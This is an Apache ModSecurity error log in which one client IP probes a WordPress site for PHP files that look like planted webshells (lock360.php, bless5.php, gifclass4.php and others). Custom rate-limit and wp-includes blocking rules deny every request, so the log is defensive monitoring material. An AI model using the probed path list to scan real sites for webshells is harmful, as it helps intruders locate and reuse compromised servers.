[Fri Feb 27 02:15:58.296502 2026] [:error] [pid 20059:tid 20115] [client 20.104.124.39:45078] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaCN3pZBS5wIa_NsqsgssAAAAc0"]
[Fri Feb 27 02:15:59.316590 2026] [:error] [pid 20059:tid 20121] [client 20.104.124.39:44960] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaCN35ZBS5wIa_NsqsgsuAAAAdM"]
[Fri Feb 27 02:16:00.533060 2026] [:error] [pid 18831:tid 18936] [client 20.104.124.39:45173] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaCN4P5KHTHUIuWRG2bXbAAAAFc"]
[Fri Feb 27 02:16:01.789539 2026] [:error] [pid 18831:tid 18913] [client 20.104.124.39:44988] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaCN4f5KHTHUIuWRG2bXcAAAAEA"]
[Fri Feb 27 02:16:05.328225 2026] [:error] [pid 20059:tid 20124] [client 20.104.124.39:45104] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaCN5ZZBS5wIa_NsqsgsywAAAdY"]
[Fri Feb 27 02:16:06.233123 2026] [:error] [pid 19020:tid 19030] [client 20.104.124.39:44942] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/log.php"] [unique_id "aaCN5rN3kp7wL6QzPnU6zAAAAUg"]
[Fri Feb 27 02:16:07.762008 2026] [:error] [pid 19020:tid 19025] [client 20.104.124.39:45118] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/log.php"] [unique_id "aaCN57N3kp7wL6QzPnU60AAAAUM"]
[Fri Feb 27 02:16:09.425025 2026] [:error] [pid 20059:tid 20114] [client 20.104.124.39:44878] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/log.php"] [unique_id "aaCN6ZZBS5wIa_Nsqsgs3QAAAcw"]
[Fri Feb 27 02:16:10.798344 2026] [:error] [pid 18843:tid 18946] [client 20.104.124.39:45017] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/log.php"] [unique_id "aaCN6iuD2bhSYSowPs0OmgAAAQY"]
[Fri Feb 27 02:16:11.499470 2026] [:error] [pid 18818:tid 18892] [client 20.104.124.39:44982] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aaCN6xhPgqk2SeS_W83NBQAAAAg"]
[Fri Feb 27 02:16:12.538546 2026] [:error] [pid 19020:tid 19029] [client 20.104.124.39:44994] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aaCN7LN3kp7wL6QzPnU62AAAAUc"]
[Fri Feb 27 02:16:13.712901 2026] [:error] [pid 18843:tid 18950] [client 20.104.124.39:45136] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aaCN7SuD2bhSYSowPs0OnAAAAQo"]
[Fri Feb 27 02:16:14.450466 2026] [:error] [pid 20059:tid 20106] [client 20.104.124.39:45180] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aaCN7pZBS5wIa_Nsqsgs5QAAAcQ"]
[Fri Feb 27 02:16:15.315491 2026] [:error] [pid 18843:tid 18961] [client 20.104.124.39:44966] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aaCN7yuD2bhSYSowPs0OnQAAARU"]
[Fri Feb 27 02:16:16.383422 2026] [:error] [pid 20059:tid 20108] [client 20.104.124.39:45075] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aaCN8JZBS5wIa_Nsqsgs7AAAAcY"]
[Fri Feb 27 02:16:17.558007 2026] [:error] [pid 20059:tid 20107] [client 20.104.124.39:45157] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aaCN8ZZBS5wIa_Nsqsgs8gAAAcU"]
[Fri Feb 27 02:16:18.941613 2026] [:error] [pid 19020:tid 19035] [client 20.104.124.39:45124] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aaCN8rN3kp7wL6QzPnU64AAAAU0"]
[Fri Feb 27 02:16:19.647755 2026] [:error] [pid 20059:tid 20122] [client 20.104.124.39:45177] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaCN85ZBS5wIa_Nsqsgs_AAAAdQ"]
[Fri Feb 27 02:16:20.577836 2026] [:error] [pid 19020:tid 19033] [client 20.104.124.39:45139] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aaCN9LN3kp7wL6QzPnU65gAAAUs"]
[Fri Feb 27 02:16:21.599141 2026] [:error] [pid 20059:tid 20116] [client 20.104.124.39:45092] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aaCN9ZZBS5wIa_NsqsgtCAAAAc4"]
[Fri Feb 27 02:16:22.731599 2026] [:error] [pid 18843:tid 18945] [client 20.104.124.39:45155] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aaCN9iuD2bhSYSowPs0OqQAAAQU"]
[Fri Feb 27 02:16:23.814959 2026] [:error] [pid 18818:tid 18905] [client 20.104.124.39:45005] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aaCN9xhPgqk2SeS_W83NCQAAABU"]
[Fri Feb 27 02:16:32.244348 2026] [:error] [pid 19020:tid 19046] [client 20.104.124.39:44987] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaCOALN3kp7wL6QzPnU7DwAAAVg"]
[Fri Feb 27 02:16:33.051120 2026] [:error] [pid 20059:tid 20126] [client 20.104.124.39:44929] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaCOAZZBS5wIa_NsqsgtMAAAAdg"]
[Fri Feb 27 02:16:33.695295 2026] [:error] [pid 19020:tid 19023] [client 20.104.124.39:45062] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaCOAbN3kp7wL6QzPnU7GAAAAUE"]
[Fri Feb 27 02:16:34.578636 2026] [:error] [pid 18843:tid 18961] [client 20.104.124.39:44952] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaCOAiuD2bhSYSowPs0OvwAAARU"]
[Fri Feb 27 02:16:35.969605 2026] [:error] [pid 18843:tid 18953] [client 20.104.124.39:45133] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aaCOAyuD2bhSYSowPs0OwQAAAQ0"]
[Fri Feb 27 02:16:37.392454 2026] [:error] [pid 18831:tid 18936] [client 20.104.124.39:45070] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aaCOBf5KHTHUIuWRG2bXjgAAAFc"]
[Fri Feb 27 02:16:38.466273 2026] [:error] [pid 18831:tid 18929] [client 20.104.124.39:45171] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aaCOBv5KHTHUIuWRG2bXkAAAAFA"]
[Fri Feb 27 02:16:39.391300 2026] [:error] [pid 18843:tid 18957] [client 20.104.124.39:44806] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aaCOByuD2bhSYSowPs0OxQAAARE"]
[Fri Feb 27 02:16:40.498099 2026] [:error] [pid 18843:tid 18942] [client 20.104.124.39:45121] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aaCOCCuD2bhSYSowPs0OxwAAAQI"]
[Fri Feb 27 02:16:41.337451 2026] [:error] [pid 18831:tid 18932] [client 20.104.124.39:45067] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aaCOCf5KHTHUIuWRG2bXlwAAAFM"]
[Fri Feb 27 02:16:42.834234 2026] [:error] [pid 20059:tid 20119] [client 20.104.124.39:45071] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aaCOCpZBS5wIa_NsqsgtQgAAAdE"]
[Fri Feb 27 02:16:44.209778 2026] [:error] [pid 20059:tid 20108] [client 20.104.124.39:45167] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aaCODJZBS5wIa_NsqsgtRQAAAcY"]
[Fri Feb 27 02:16:45.484580 2026] [:error] [pid 20059:tid 20124] [client 20.104.124.39:45181] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2clas.php"] [unique_id "aaCODZZBS5wIa_NsqsgtSQAAAdY"]
[Fri Feb 27 02:16:46.902889 2026] [:error] [pid 19020:tid 19031] [client 20.104.124.39:45021] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2clas.php"] [unique_id "aaCODrN3kp7wL6QzPnU7HwAAAUk"]
[Fri Feb 27 02:16:49.040191 2026] [:error] [pid 20059:tid 20118] [client 20.104.124.39:45073] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2clas.php"] [unique_id "aaCOEZZBS5wIa_NsqsgtWwAAAdA"]
[Fri Feb 27 02:16:51.042940 2026] [:error] [pid 20059:tid 20121] [client 20.104.124.39:45140] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2clas.php"] [unique_id "aaCOE5ZBS5wIa_NsqsgtZAAAAdM"]
[Fri Feb 27 02:16:52.840148 2026] [:error] [pid 20059:tid 20112] [client 20.104.124.39:45095] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ave.php"] [unique_id "aaCOFJZBS5wIa_NsqsgtaAAAAco"]
[Fri Feb 27 02:16:53.580884 2026] [:error] [pid 20059:tid 20114] [client 20.104.124.39:44946] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ave.php"] [unique_id "aaCOFZZBS5wIa_NsqsgtbQAAAcw"]
[Fri Feb 27 02:16:54.113377 2026] [:error] [pid 19020:tid 19040] [client 20.104.124.39:45147] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ave.php"] [unique_id "aaCOFrN3kp7wL6QzPnU7LAAAAVI"]
[Fri Feb 27 02:16:54.786025 2026] [:error] [pid 19020:tid 19036] [client 20.104.124.39:44917] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ave.php"] [unique_id "aaCOFrN3kp7wL6QzPnU7LgAAAU4"]
[Fri Feb 27 02:16:55.478954 2026] [:error] [pid 20059:tid 20123] [client 20.104.124.39:44974] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aaCOF5ZBS5wIa_NsqsgtcAAAAdU"]
[Fri Feb 27 02:16:56.608837 2026] [:error] [pid 20059:tid 20103] [client 20.104.124.39:45122] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aaCOGJZBS5wIa_NsqsgtdQAAAcE"]
[Fri Feb 27 02:16:57.424528 2026] [:error] [pid 20059:tid 20119] [client 20.104.124.39:45064] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aaCOGZZBS5wIa_NsqsgtdwAAAdE"]
[Fri Feb 27 02:16:58.054877 2026] [:error] [pid 18818:tid 18897] [client 20.104.124.39:45154] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aaCOGhhPgqk2SeS_W83NKAAAAA0"]
[Fri Feb 27 02:16:59.036654 2026] [:error] [pid 19020:tid 19035] [client 20.104.124.39:45100] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bibil.php"] [unique_id "aaCOG7N3kp7wL6QzPnU7MgAAAU0"]
[Fri Feb 27 02:16:59.720215 2026] [:error] [pid 20059:tid 20111] [client 20.104.124.39:45060] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bibil.php"] [unique_id "aaCOG5ZBS5wIa_NsqsgtgAAAAck"]
[Fri Feb 27 02:17:00.480137 2026] [:error] [pid 18843:tid 18956] [client 20.104.124.39:45170] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bibil.php"] [unique_id "aaCOHCuD2bhSYSowPs0O4QAAARA"]
[Fri Feb 27 02:17:01.553199 2026] [:error] [pid 20059:tid 20118] [client 20.104.124.39:44865] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bibil.php"] [unique_id "aaCOHZZBS5wIa_NsqsgthgAAAdA"]
[Fri Feb 27 02:17:02.374182 2026] [:error] [pid 18843:tid 18948] [client 20.104.124.39:44953] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aaCOHiuD2bhSYSowPs0O5AAAAQg"]
[Fri Feb 27 02:17:03.305149 2026] [:error] [pid 19020:tid 19039] [client 20.104.124.39:45146] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aaCOH7N3kp7wL6QzPnU7NgAAAVE"]
[Fri Feb 27 02:17:04.010243 2026] [:error] [pid 20059:tid 20113] [client 20.104.124.39:45143] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aaCOIJZBS5wIa_NsqsgtjQAAAcs"]
[Fri Feb 27 02:17:05.101270 2026] [:error] [pid 18843:tid 18949] [client 20.104.124.39:45097] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aaCOISuD2bhSYSowPs0O5wAAAQk"]
[Fri Feb 27 02:17:06.085496 2026] [:error] [pid 18843:tid 18952] [client 20.104.124.39:45179] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aaCOIiuD2bhSYSowPs0O6QAAAQw"]
